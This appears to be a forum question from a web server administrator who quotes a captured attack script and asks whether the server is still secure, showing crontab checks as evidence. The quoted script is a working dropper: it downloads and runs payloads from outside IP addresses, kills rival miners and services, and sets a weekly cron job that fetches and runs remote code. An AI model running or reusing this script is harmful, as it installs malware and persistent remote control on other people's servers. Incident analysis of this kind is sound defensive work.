I have intercepted an attack on my web server that I believe was unsuccessful. The attacker tried to execute this script:
#!/bin/sh cd /tmp;cd /dev/shm wget -q http://22.214.171.124/xx -O ...x chmod +x ...x ./...x cd /dev/shm ; wget 126.96.36.199/ru ; bash ru ; rm -rf ru cd /dev/shm ; wget 188.8.131.52/rr; bash rr; rm -rf rr killall -9 .a .b .c .d .e .f .g .h .i .j. .k .l .m .n .o .p .q .r .s .t .u .v .x .z .y .w php killall -9 .rnd killall -9 .a killall -9 kernelupdate killall -9 dev killall -9 sh killall -9 bash killall -9 apache2 killall -9 httpd killall -9 cla killall -9 ka killall -9 kav killall -9 m32 killall -9 m64 killall -9 perl killall -9 sh killall -9 sucrack killall -9 m64 m32 minerd32 minerd64 minerd cla qt64 qt32 clover cron sh wget kill -9 `pidof .rnd` kill -9 `pidof .a .b .c .d .e .f .g .h .i .j. .k .l .m .n .o .p .q .r .s .t .u .v .x .z .y .w` kill -9 `pidof dev` kill -9 `pidof perl` kill -9 `pidof m32` kill -9 `pidof m64` kill -9 `pidof ka` kill -9 `pidof kav` kill -9 `pidof cla` kill -9 `pidof sh` kill -9 `pidof sucrack` echo "@weekly wget -q http://184.108.40.206/sh -O /tmp/sh;sh /tmp/sh;rm -rd /tmp/sh" >> /tmp/cron crontab /tmp/cron rm -rf /tmp/cron
I can see that its fetches three other sh scripts by wget, execute them, delete them (possible for tracking purposes), kills some processes, setup a cron to be executed weekly, and then remove it(?!).
As we can see, it kills Apache and sh itself. It's weird since if Apache and sh are killed the attack would no longer work, right?
I have reason to believe that this payload was never actually executed, because:
- The attack was attempted using GET requests. Due to Apache mod_rewrite, all he got was a 404.
- The attacker was trying to exploit a PHP backend vulnerability, which doesn't apply to me.
Does all of that mean I'm still secure? I think doing a
crontab -l checks if my server is compromised. The output was:
ubuntu@ip-172-31-24-52:~$ crontab -l no crontab for ubuntu ubuntu@ip-172-31-24-52:~$ sudo su root@ip-172-31-24-52:/home/ubuntu# crontab -l no crontab for root